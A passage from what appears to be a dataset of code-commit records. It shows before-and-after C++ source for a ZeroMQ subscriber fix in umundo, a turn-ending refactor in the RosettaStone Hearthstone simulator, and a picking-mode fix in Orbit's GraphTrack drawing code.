(!_isSuspended) {\n\t\tUMUNDO_UNLOCK(_mutex);\n\t\treturn;\n\t}\n\t_isSuspended = false;\n\tinit(_config);\n\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::run() {\n\tint32_t more;\n\tsize_t more_size = sizeof(more);\n\n\tzmq_pollitem_t pollItem;\n\tpollItem.socket = _socket;\n\tpollItem.events = ZMQ_POLLIN | ZMQ_POLLOUT;\n\n\twhile(isStarted()) {\n\t\tint rc = 0;\n\t\t{\n\t\t\tScopeLock lock(&_mutex);\n\t\t\tzmq_poll(&pollItem, 1, 30);\n\t\t}\n\t\tif (rc < 0) {\n\t\t\t\/\/ an error occurred\n\t\t\tswitch(rc) {\n\t\t\t\tcase ETERM:\n\t\t\t\t\tLOG_WARN(\"zmq_poll called with terminated socket\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase EFAULT:\n\t\t\t\t\tLOG_WARN(\"zmq_poll called with invalid items\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase EINTR:\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t} else if (rc == 0) {\n\t\t\t\/\/ Nothing to read - released lock\n\t\t\tThread::yield();\n\/\/\t\t\tThread::sleepMs(5);\n\n\t\t} if (rc > 0) {\n\t\t\t\/\/ there is a message to be read\n\t\t\tScopeLock lock(&_mutex);\n\t\t\tMessage* msg = new Message();\n\t\t\twhile (1) {\n\t\t\t\/\/ read and dispatch the whole message\n\t\t\t\tzmq_msg_t message;\n\t\t\t\tzmq_msg_init(&message) && LOG_WARN(\"zmq_msg_init: %s\",zmq_strerror(errno));\n\n\t\t\t\twhile (zmq_recvmsg(_socket, &message, 0) < 0)\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tLOG_WARN(\"zmq_recvmsg: %s\",zmq_strerror(errno));\n\n\t\t\t\tsize_t msgSize = zmq_msg_size(&message);\n\n\t\t\t\tif (!isStarted()) {\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t\/\/ last message contains actual data\n\t\t\t\tzmq_getsockopt(_socket, ZMQ_RCVMORE, &more, &more_size) && LOG_WARN(\"zmq_getsockopt: %s\",zmq_strerror(errno));\n\n\t\t\t\tif (more) {\n\t\t\t\t\tchar* key = (char*)zmq_msg_data(&message);\n\t\t\t\t\tchar* value = ((char*)zmq_msg_data(&message) + strlen(key) + 1);\n\n\t\t\t\t\t\/\/ is this the first message with the channelname?\n\t\t\t\t\tif (strlen(key) + 1 == msgSize &&\n\t\t\t\t\t msg->getMeta().find(key) == msg->getMeta().end()) {\n\t\t\t\t\t\tmsg->putMeta(\"channel\", key);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tassert(strlen(key) + strlen(value) + 2 == msgSize);\n\t\t\t\t\t\tif (strlen(key) + strlen(value) + 2 != msgSize) {\n\t\t\t\t\t\t\tLOG_WARN(\"Received malformed message %d + %d + 2 != %d\", strlen(key), strlen(value), msgSize);\n\t\t\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tmsg->putMeta(key, value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t} else {\n\t\t\t\t\tmsg->setData((char*)zmq_msg_data(&message), msgSize);\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\n\t\t\t\t\tif (_receiver != NULL) {\n\t\t\t\t\t\t_receiver->receive(msg);\n\t\t\t\t\t\tdelete(msg);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tScopeLock lock(&_msgMutex);\n\t\t\t\t\t\t_msgQueue.push_back(msg);\n\t\t\t\t\t}\n\t\t\t\t\tbreak; \/\/ last message part\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nMessage* ZeroMQSubscriber::getNextMsg() {\n if (_receiver != NULL) {\n LOG_WARN(\"getNextMsg not functional when a receiver is given\");\n return NULL;\n }\n\n\tScopeLock lock(&_msgMutex);\n\tMessage* msg = NULL;\n\tif (_msgQueue.size() > 0) {\n\t\tmsg = _msgQueue.front();\n\t\t_msgQueue.pop_front();\n\t}\n\treturn msg;\n}\n\nMessage* ZeroMQSubscriber::peekNextMsg() {\n if (_receiver != NULL) {\n LOG_WARN(\"peekNextMsg not functional when a receiver is given\");\n return NULL;\n }\n\n\tScopeLock lock(&_msgMutex);\n\tMessage* msg = NULL;\n\tif (_msgQueue.size() > 0) {\n\t\tmsg = _msgQueue.front();\n\t}\n\treturn msg;\n}\n\nvoid ZeroMQSubscriber::added(shared_ptr<PublisherStub> pub) {\n\tstd::stringstream ss;\n\tif (pub->isInProcess() && false) {\n\t\tss << \"inproc:\/\/\" << pub->getUUID();\n\t} else {\n\t\tss << pub->getTransport() << \":\/\/\" << pub->getIP() << \":\" << pub->getPort();\n\t}\n\tif (_connections.find(ss.str()) != _connections.end()) {\n\t\tLOG_INFO(\"Already connected to %s\", ss.str().c_str());\n\t\treturn;\n\t}\n\n\tScopeLock lock(&_mutex);\n\tLOG_INFO(\"%s subscribing at %s\", _channelName.c_str(), ss.str().c_str());\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_connect: %s\", zmq_strerror(errno));\n\t_connections.insert(ss.str());\n}\n\nvoid ZeroMQSubscriber::removed(shared_ptr<PublisherStub> pub) {\n\tScopeLock lock(&_mutex);\n\tstd::stringstream ss;\n\tif (pub->isInProcess() && false) {\n\t\tss << \"inproc:\/\/\" << pub->getUUID();\n\t} else {\n\t\tss << pub->getTransport() << \":\/\/\" << pub->getIP() << \":\" << pub->getPort();\n\t}\n\tif (_connections.find(ss.str()) == _connections.end()) {\n\t\tLOG_INFO(\"Never connected to %s won't disconnect\", ss.str().c_str());\n\t\treturn;\n\t}\n\n\tLOG_DEBUG(\"unsubscribing from %s\", ss.str().c_str());\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_disconnect: %s\", zmq_strerror(errno));\n\t_connections.erase(ss.str());\n}\n\nvoid ZeroMQSubscriber::changed(shared_ptr<PublisherStub>) {\n\t\/\/ never called\n}\n\n\n}<commit_msg>Forgot to assign return value<commit_after>\/**\n * @file\n * @author 2012 Stefan Radomski (stefan.radomski@cs.tu-darmstadt.de)\n * @copyright Simplified BSD\n *\n * @cond\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the FreeBSD license as published by the FreeBSD\n * project.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * You should have received a copy of the FreeBSD license along with this\n * program. If not, see <http:\/\/www.opensource.org\/licenses\/bsd-license>.\n * @endcond\n *\/\n\n#include \"umundo\/connection\/zeromq\/ZeroMQNode.h\"\n\n#include \"umundo\/connection\/Publisher.h\"\n#include \"umundo\/common\/Message.h\"\n#include \"umundo\/common\/UUID.h\"\n\n\/\/ include order matters with MSVC ...\n#include \"umundo\/connection\/zeromq\/ZeroMQSubscriber.h\"\n\n#include \"umundo\/config.h\"\n#if defined UNIX || defined IOS || defined IOSSIM\n#include <stdio.h> \/\/ snprintf\n#endif\n\nnamespace umundo {\n\nshared_ptr<Implementation> ZeroMQSubscriber::create(void*) {\n\tshared_ptr<Implementation> instance(new ZeroMQSubscriber());\n\treturn instance;\n}\n\nvoid ZeroMQSubscriber::destroy() {\n\tdelete(this);\n}\n\nZeroMQSubscriber::ZeroMQSubscriber() {\n}\n\nZeroMQSubscriber::~ZeroMQSubscriber() {\n\tLOG_INFO(\"deleting subscriber for %s\", _channelName.c_str());\n\tjoin();\n\tzmq_close(_closer) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\tzmq_close(_socket) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n}\n\nvoid ZeroMQSubscriber::init(shared_ptr<Configuration> config) {\n\t_config = boost::static_pointer_cast<SubscriberConfig>(config);\n\t_uuid = (_uuid.length() > 0 ? _uuid : UUID::getUUID());\n\tassert(_uuid.length() == 36);\n\n\tvoid* ctx = ZeroMQNode::getZeroMQContext();\n\t(_socket = zmq_socket(ctx, ZMQ_SUB)) || LOG_WARN(\"zmq_socket: %s\",zmq_strerror(errno));\n\t(_closer = zmq_socket(ctx, ZMQ_PUB)) || LOG_WARN(\"zmq_socket: %s\",zmq_strerror(errno));\n\n\tassert(_channelName.size() > 0);\n\tint hwm = NET_ZEROMQ_RCV_HWM;\n\tzmq_setsockopt(_socket, ZMQ_RCVHWM, &hwm, sizeof(hwm)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt(_socket, ZMQ_IDENTITY, _uuid.c_str(), _uuid.length()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt(_socket, ZMQ_SUBSCRIBE, _channelName.c_str(), _channelName.size()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tLOG_DEBUG(\"Subscribing to %s\", _channelName.c_str());\n\tzmq_setsockopt(_socket, ZMQ_SUBSCRIBE, _uuid.c_str(), _uuid.size()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tLOG_DEBUG(\"Subscribing to %s\", SHORT_UUID(_uuid).c_str());\n\n\t\/\/ reconnection intervals\n\tint reconnect_ivl_min = 100;\n\tint reconnect_ivl_max = 200;\n\tzmq_setsockopt (_socket, ZMQ_RECONNECT_IVL, &reconnect_ivl_min, sizeof(int)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt (_socket, ZMQ_RECONNECT_IVL_MAX, &reconnect_ivl_max, sizeof(int)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\n\t\/\/ make sure we can close the socket later\n\tstd::stringstream ss;\n\tss << \"inproc:\/\/\" << _uuid;\n\tzmq_bind(_closer, ss.str().c_str()) && LOG_WARN(\"zmq_bind: %s\",zmq_strerror(errno));\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_connect: %s\",zmq_strerror(errno));\n\n\tLOG_INFO(\"creating subscriber for %s\", _channelName.c_str());\n\tstart();\n}\n\n\/**\n * Break blocking zmq_recvmsg in ZeroMQSubscriber::run.\n *\/\nvoid ZeroMQSubscriber::join() {\n\tUMUNDO_LOCK(_mutex);\n\tstop();\n\n\t\/\/ this is a hack .. the thread is blocking at zmq_recvmsg - unblock by sending a message\n\tzmq_msg_t channelEnvlp;\n\tZMQ_PREPARE_STRING(channelEnvlp, _channelName.c_str(), _channelName.size());\n\n\tzmq_sendmsg(_closer, &channelEnvlp, 0) >= 0 || LOG_WARN(\"zmq_sendmsg: %s\",zmq_strerror(errno));\n\tzmq_msg_close(&channelEnvlp) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\n\tThread::join();\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::suspend() {\n\tUMUNDO_LOCK(_mutex);\n\tif (_isSuspended) {\n\t\tUMUNDO_UNLOCK(_mutex);\n\t\treturn;\n\t}\n\t_isSuspended = true;\n\tstop();\n\tjoin();\n\n\t_connections.clear();\n\tzmq_close(_closer) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\tzmq_close(_socket) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::resume() {\n\tUMUNDO_LOCK(_mutex);\n\tif (!_isSuspended) {\n\t\tUMUNDO_UNLOCK(_mutex);\n\t\treturn;\n\t}\n\t_isSuspended = false;\n\tinit(_config);\n\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::run() {\n\tint32_t more;\n\tsize_t more_size = sizeof(more);\n\n\tzmq_pollitem_t pollItem;\n\tpollItem.socket = _socket;\n\tpollItem.events = ZMQ_POLLIN | ZMQ_POLLOUT;\n\n\twhile(isStarted()) {\n\t\tint rc = 0;\n\t\t{\n\t\t\tScopeLock lock(&_mutex);\n\t\t\trc = zmq_poll(&pollItem, 1, 30);\n\t\t}\n\t\tif (rc < 0) {\n\t\t\t\/\/ an error occurred\n\t\t\tswitch(rc) {\n\t\t\t\tcase ETERM:\n\t\t\t\t\tLOG_WARN(\"zmq_poll called with terminated socket\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase EFAULT:\n\t\t\t\t\tLOG_WARN(\"zmq_poll called with invalid items\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase EINTR:\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t} else if (rc == 0) {\n\t\t\t\/\/ Nothing to read - released lock\n\t\t\tThread::yield();\n\/\/\t\t\tThread::sleepMs(5);\n\n\t\t} if (rc > 0) {\n\t\t\t\/\/ there is a message to be read\n\t\t\tScopeLock lock(&_mutex);\n\t\t\tMessage* msg = new Message();\n\t\t\twhile (1) {\n\t\t\t\/\/ read and dispatch the whole message\n\t\t\t\tzmq_msg_t message;\n\t\t\t\tzmq_msg_init(&message) && LOG_WARN(\"zmq_msg_init: %s\",zmq_strerror(errno));\n\n\t\t\t\twhile (zmq_recvmsg(_socket, &message, 0) < 0)\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tLOG_WARN(\"zmq_recvmsg: %s\",zmq_strerror(errno));\n\n\t\t\t\tsize_t msgSize = zmq_msg_size(&message);\n\n\t\t\t\tif (!isStarted()) {\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t\/\/ last message contains actual data\n\t\t\t\tzmq_getsockopt(_socket, ZMQ_RCVMORE, &more, &more_size) && LOG_WARN(\"zmq_getsockopt: %s\",zmq_strerror(errno));\n\n\t\t\t\tif (more) {\n\t\t\t\t\tchar* key = (char*)zmq_msg_data(&message);\n\t\t\t\t\tchar* value = ((char*)zmq_msg_data(&message) + strlen(key) + 1);\n\n\t\t\t\t\t\/\/ is this the first message with the channelname?\n\t\t\t\t\tif (strlen(key) + 1 == msgSize &&\n\t\t\t\t\t msg->getMeta().find(key) == msg->getMeta().end()) {\n\t\t\t\t\t\tmsg->putMeta(\"channel\", key);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tassert(strlen(key) + strlen(value) + 2 == msgSize);\n\t\t\t\t\t\tif (strlen(key) + strlen(value) + 2 != msgSize) {\n\t\t\t\t\t\t\tLOG_WARN(\"Received malformed message %d + %d + 2 != %d\", strlen(key), strlen(value), msgSize);\n\t\t\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tmsg->putMeta(key, value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\t\t\t\t} else {\n\t\t\t\t\tmsg->setData((char*)zmq_msg_data(&message), msgSize);\n\t\t\t\t\tzmq_msg_close(&message) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\n\t\t\t\t\tif (_receiver != NULL) {\n\t\t\t\t\t\t_receiver->receive(msg);\n\t\t\t\t\t\tdelete(msg);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tScopeLock lock(&_msgMutex);\n\t\t\t\t\t\t_msgQueue.push_back(msg);\n\t\t\t\t\t}\n\t\t\t\t\tbreak; \/\/ last message part\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nMessage* ZeroMQSubscriber::getNextMsg() {\n if (_receiver != NULL) {\n LOG_WARN(\"getNextMsg not functional when a receiver is given\");\n return NULL;\n }\n\n\tScopeLock lock(&_msgMutex);\n\tMessage* msg = NULL;\n\tif (_msgQueue.size() > 0) {\n\t\tmsg = _msgQueue.front();\n\t\t_msgQueue.pop_front();\n\t}\n\treturn msg;\n}\n\nMessage* ZeroMQSubscriber::peekNextMsg() {\n if (_receiver != NULL) {\n LOG_WARN(\"peekNextMsg not functional when a receiver is given\");\n return NULL;\n }\n\n\tScopeLock lock(&_msgMutex);\n\tMessage* msg = NULL;\n\tif (_msgQueue.size() > 0) {\n\t\tmsg = _msgQueue.front();\n\t}\n\treturn msg;\n}\n\nvoid ZeroMQSubscriber::added(shared_ptr<PublisherStub> pub) {\n\tstd::stringstream ss;\n\tif (pub->isInProcess() && false) {\n\t\tss << \"inproc:\/\/\" << pub->getUUID();\n\t} else {\n\t\tss << pub->getTransport() << \":\/\/\" << pub->getIP() << \":\" << pub->getPort();\n\t}\n\tif (_connections.find(ss.str()) != _connections.end()) {\n\t\tLOG_INFO(\"Already connected to %s\", ss.str().c_str());\n\t\treturn;\n\t}\n\n\tScopeLock lock(&_mutex);\n\tLOG_INFO(\"%s subscribing at %s\", _channelName.c_str(), ss.str().c_str());\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_connect: %s\", zmq_strerror(errno));\n\t_connections.insert(ss.str());\n}\n\nvoid ZeroMQSubscriber::removed(shared_ptr<PublisherStub> pub) {\n\tScopeLock lock(&_mutex);\n\tstd::stringstream ss;\n\tif (pub->isInProcess() && false) {\n\t\tss << \"inproc:\/\/\" << pub->getUUID();\n\t} else {\n\t\tss << pub->getTransport() << \":\/\/\" << pub->getIP() << \":\" << pub->getPort();\n\t}\n\tif (_connections.find(ss.str()) == _connections.end()) {\n\t\tLOG_INFO(\"Never connected to %s won't disconnect\", ss.str().c_str());\n\t\treturn;\n\t}\n\n\tLOG_DEBUG(\"unsubscribing from %s\", ss.str().c_str());\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_disconnect: %s\", zmq_strerror(errno));\n\t_connections.erase(ss.str());\n}\n\nvoid ZeroMQSubscriber::changed(shared_ptr<PublisherStub>) {\n\t\/\/ never called\n}\n\n\n}<|endoftext|>"} {"text":"<commit_before>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2019 SabberStone Team, darkfriend77 & rnilva\n\/\/ RosettaStone is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2019 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <Rosetta\/Games\/Game.hpp>\n#include <Rosetta\/Models\/Player.hpp>\n#include <Rosetta\/Tasks\/PlayerTasks\/EndTurnTask.hpp>\n\nnamespace RosettaStone::PlayerTasks\n{\nTaskID EndTurnTask::GetTaskID() const\n{\n return TaskID::END_TURN;\n}\n\nTaskStatus EndTurnTask::Impl(Player& player)\n{\n player.GetGame()->step = Step::MAIN_END;\n player.GetGame()->MainEnd();\n\n return TaskStatus::COMPLETE;\n}\n} \/\/ namespace RosettaStone::PlayerTasks\n<commit_msg>refactor: Use 'nextStep' instead of 'step' and call ProcessNextStep()<commit_after>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2019 SabberStone Team, darkfriend77 & rnilva\n\/\/ RosettaStone is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2019 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <Rosetta\/Games\/Game.hpp>\n#include <Rosetta\/Games\/GameManager.hpp>\n#include <Rosetta\/Models\/Player.hpp>\n#include <Rosetta\/Tasks\/PlayerTasks\/EndTurnTask.hpp>\n\nnamespace RosettaStone::PlayerTasks\n{\nTaskID EndTurnTask::GetTaskID() const\n{\n return TaskID::END_TURN;\n}\n\nTaskStatus EndTurnTask::Impl(Player& player)\n{\n auto game = player.GetGame();\n\n game->nextStep = Step::MAIN_END;\n GameManager::ProcessNextStep(*game, game->nextStep);\n\n return TaskStatus::COMPLETE;\n}\n} \/\/ namespace RosettaStone::PlayerTasks\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"GraphTrack.h\"\n\n#include \"GlCanvas.h\"\n\nGraphTrack::GraphTrack(TimeGraph* time_graph, std::string name)\n : Track(time_graph), name_(std::move(name)) {}\n\nvoid GraphTrack::Draw(GlCanvas* canvas, PickingMode picking_mode) {\n Batcher* batcher = canvas->GetBatcher();\n\n float trackWidth = canvas->GetWorldWidth();\n const TimeGraphLayout& layout = time_graph_->GetLayout();\n\n pos_[0] = canvas->GetWorldTopLeftX();\n SetSize(trackWidth, GetHeight());\n Track::Draw(canvas, picking_mode);\n\n float x0 = pos_[0];\n float x1 = x0 + size_[0];\n\n float y0 = pos_[1];\n float y1 = y0 - size_[1];\n\n const Color kPickedColor(0, 128, 255, 128);\n Color color = color_;\n if (picked_) {\n \/\/ TODO: Is this really used? Is picked_ even a thing?\n color = kPickedColor;\n }\n\n float track_z = GlCanvas::kZValueTrack;\n\n Box box(pos_, Vec2(size_[0], -size_[1]), track_z);\n\n \/\/ Draw label with graph value at current mouse position.\n const Color kWhiteColor(255, 255, 255, 255);\n const Color kBlackColor(0, 0, 0, 255);\n double graph_value = GetValueAtTime(time_graph_->GetCurrentMouseTimeNs());\n\n int white_text_box_width =\n canvas->GetTextRenderer().GetStringWidth(std::to_string(graph_value).c_str());\n\n Vec2 white_text_box_size(white_text_box_width, layout.GetTextBoxHeight());\n auto rightmost_x_position = canvas->GetWorldTopLeftX() + canvas->GetWorldWidth() -\n layout.GetRightMargin() - layout.GetSliderWidth() -\n white_text_box_size[0];\n Vec2 white_text_box_position(\n std::min(canvas->GetMouseX(), rightmost_x_position),\n y0 - static_cast<float>((max_ - graph_value) * size_[1] \/ value_range_) -\n white_text_box_size[1] \/ 2.f);\n\n canvas->GetTextRenderer().AddText(std::to_string(graph_value).c_str(), white_text_box_position[0],\n white_text_box_position[1] + layout.GetTextOffset(),\n GlCanvas::kZValueTextUi, kBlackColor,\n time_graph_->CalculateZoomedFontSize(), white_text_box_size[0]);\n Box white_text_box(white_text_box_position, white_text_box_size, GlCanvas::kZValueUi);\n batcher->AddBox(white_text_box, kWhiteColor);\n\n batcher->AddBox(box, color, shared_from_this());\n\n if (canvas->GetPickingManager().IsThisElementPicked(this)) {\n color = Color(255, 255, 255, 255);\n }\n\n batcher->AddLine(pos_, Vec2(x1, y0), track_z, color, shared_from_this());\n batcher->AddLine(Vec2(x1, y1), Vec2(x0, y1), track_z, color, shared_from_this());\n\n const Color kLineColor(0, 128, 255, 128);\n\n \/\/ Current time window\n uint64_t min_ns = time_graph_->GetTickFromUs(time_graph_->GetMinTimeUs());\n uint64_t max_ns = time_graph_->GetTickFromUs(time_graph_->GetMaxTimeUs());\n double time_range = static_cast<float>(max_ns - min_ns);\n if (values_.size() < 2 || time_range == 0) return;\n\n auto it = values_.upper_bound(min_ns);\n if (it == values_.end()) return;\n if (it != values_.begin()) --it;\n uint64_t previous_time = it->first;\n double last_normalized_value = (it->second - min_) * inv_value_range_;\n for (++it; it != values_.end(); ++it) {\n if (previous_time > max_ns) break;\n uint64_t time = it->first;\n double normalized_value = (it->second - min_) * inv_value_range_;\n float base_y = pos_[1] - size_[1];\n float x0 = time_graph_->GetWorldFromTick(previous_time);\n float x1 = time_graph_->GetWorldFromTick(time);\n float y0 = base_y + static_cast<float>(last_normalized_value) * size_[1];\n float y1 = base_y + static_cast<float>(normalized_value) * size_[1];\n time_graph_->GetBatcher().AddLine(Vec2(x0, y0), Vec2(x1, y0), GlCanvas::kZValueText,\n kLineColor);\n time_graph_->GetBatcher().AddLine(Vec2(x1, y0), Vec2(x1, y1), GlCanvas::kZValueText,\n kLineColor);\n\n previous_time = time;\n last_normalized_value = normalized_value;\n }\n}\n\nvoid GraphTrack::AddValue(double value, uint64_t time) {\n values_[time] = value;\n max_ = std::max(max_, value);\n min_ = std::min(min_, value);\n value_range_ = max_ - min_;\n\n if (value_range_ > 0) inv_value_range_ = 1.0 \/ value_range_;\n}\n\ndouble GraphTrack::GetValueAtTime(uint64_t time, double default_value) const {\n auto iterator_lower = values_.upper_bound(time);\n if (iterator_lower == values_.end() || iterator_lower == values_.begin()) {\n return default_value;\n }\n --iterator_lower;\n return iterator_lower->second;\n}\n\nfloat GraphTrack::GetHeight() const {\n const TimeGraphLayout& layout = time_graph_->GetLayout();\n float height = layout.GetTextBoxHeight() + layout.GetSpaceBetweenTracksAndThread() +\n layout.GetEventTrackHeight() + layout.GetTrackBottomMargin();\n return height;\n}\n<commit_msg>Fix bug when picking in GraphTrack<commit_after>\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"GraphTrack.h\"\n\n#include \"GlCanvas.h\"\n\nGraphTrack::GraphTrack(TimeGraph* time_graph, std::string name)\n : Track(time_graph), name_(std::move(name)) {}\n\nvoid GraphTrack::Draw(GlCanvas* canvas, PickingMode picking_mode) {\n Batcher* batcher = canvas->GetBatcher();\n\n float trackWidth = canvas->GetWorldWidth();\n const TimeGraphLayout& layout = time_graph_->GetLayout();\n const bool picking = picking_mode != PickingMode::kNone;\n\n pos_[0] = canvas->GetWorldTopLeftX();\n SetSize(trackWidth, GetHeight());\n Track::Draw(canvas, picking_mode);\n\n float x0 = pos_[0];\n float x1 = x0 + size_[0];\n\n float y0 = pos_[1];\n float y1 = y0 - size_[1];\n\n const Color kPickedColor(0, 128, 255, 128);\n Color color = color_;\n if (picked_) {\n \/\/ TODO: Is this really used? Is picked_ even a thing?\n color = kPickedColor;\n }\n\n float track_z = GlCanvas::kZValueTrack;\n\n Box box(pos_, Vec2(size_[0], -size_[1]), track_z);\n\n \/\/ Draw label with graph value at current mouse position.\n const Color kWhiteColor(255, 255, 255, 255);\n const Color kBlackColor(0, 0, 0, 255);\n double graph_value = GetValueAtTime(time_graph_->GetCurrentMouseTimeNs());\n\n int white_text_box_width =\n canvas->GetTextRenderer().GetStringWidth(std::to_string(graph_value).c_str());\n\n Vec2 white_text_box_size(white_text_box_width, layout.GetTextBoxHeight());\n auto rightmost_x_position = canvas->GetWorldTopLeftX() + canvas->GetWorldWidth() -\n layout.GetRightMargin() - layout.GetSliderWidth() -\n white_text_box_size[0];\n Vec2 white_text_box_position(\n std::min(canvas->GetMouseX(), rightmost_x_position),\n y0 - static_cast<float>((max_ - graph_value) * size_[1] \/ value_range_) -\n white_text_box_size[1] \/ 2.f);\n\n if (!picking) {\n canvas->GetTextRenderer().AddText(\n std::to_string(graph_value).c_str(), white_text_box_position[0],\n white_text_box_position[1] + layout.GetTextOffset(), GlCanvas::kZValueTextUi, kBlackColor,\n time_graph_->CalculateZoomedFontSize(), white_text_box_size[0]);\n Box white_text_box(white_text_box_position, white_text_box_size, GlCanvas::kZValueUi);\n batcher->AddBox(white_text_box, kWhiteColor);\n }\n\n batcher->AddBox(box, color, shared_from_this());\n\n if (canvas->GetPickingManager().IsThisElementPicked(this)) {\n color = Color(255, 255, 255, 255);\n }\n\n batcher->AddLine(pos_, Vec2(x1, y0), track_z, color, shared_from_this());\n batcher->AddLine(Vec2(x1, y1), Vec2(x0, y1), track_z, color, shared_from_this());\n\n const Color kLineColor(0, 128, 255, 128);\n\n if (!picking) {\n \/\/ Current time window\n uint64_t min_ns = time_graph_->GetTickFromUs(time_graph_->GetMinTimeUs());\n uint64_t max_ns = time_graph_->GetTickFromUs(time_graph_->GetMaxTimeUs());\n double time_range = static_cast<float>(max_ns - min_ns);\n if (values_.size() < 2 || time_range == 0) return;\n\n auto it = values_.upper_bound(min_ns);\n if (it == values_.end()) return;\n if (it != values_.begin()) --it;\n uint64_t previous_time = it->first;\n double last_normalized_value = (it->second - min_) * inv_value_range_;\n for (++it; it != values_.end(); ++it) {\n if (previous_time > max_ns) break;\n uint64_t time = it->first;\n double normalized_value = (it->second - min_) * inv_value_range_;\n float base_y = pos_[1] - size_[1];\n float x0 = time_graph_->GetWorldFromTick(previous_time);\n float x1 = time_graph_->GetWorldFromTick(time);\n float y0 = base_y + static_cast<float>(last_normalized_value) * size_[1];\n float y1 = base_y + static_cast<float>(normalized_value) * size_[1];\n time_graph_->GetBatcher().AddLine(Vec2(x0, y0), Vec2(x1, y0), GlCanvas::kZValueText,\n kLineColor);\n time_graph_->GetBatcher().AddLine(Vec2(x1, y0), Vec2(x1, y1), GlCanvas::kZValueText,\n kLineColor);\n\n previous_time = time;\n last_normalized_value = normalized_value;\n }\n }\n}\n\nvoid GraphTrack::AddValue(double value, uint64_t time) {\n values_[time] = value;\n max_ = std::max(max_, value);\n min_ = std::min(min_, value);\n value_range_ = max_ - min_;\n\n if (value_range_ > 0) inv_value_range_ = 1.0 \/ value_range_;\n}\n\ndouble GraphTrack::GetValueAtTime(uint64_t time, double default_value) const {\n auto iterator_lower = values_.upper_bound(time);\n if (iterator_lower == values_.end() || iterator_lower == values_.begin()) {\n return default_value;\n }\n --iterator_lower;\n return iterator_lower->second;\n}\n\nfloat GraphTrack::GetHeight() const {\n const TimeGraphLayout& layout = time_graph_->GetLayout();\n float height = layout.GetTextBoxHeight() + layout.GetSpaceBetweenTracksAndThread() +\n layout.GetEventTrackHeight() + layout.GetTrackBottomMargin();\n 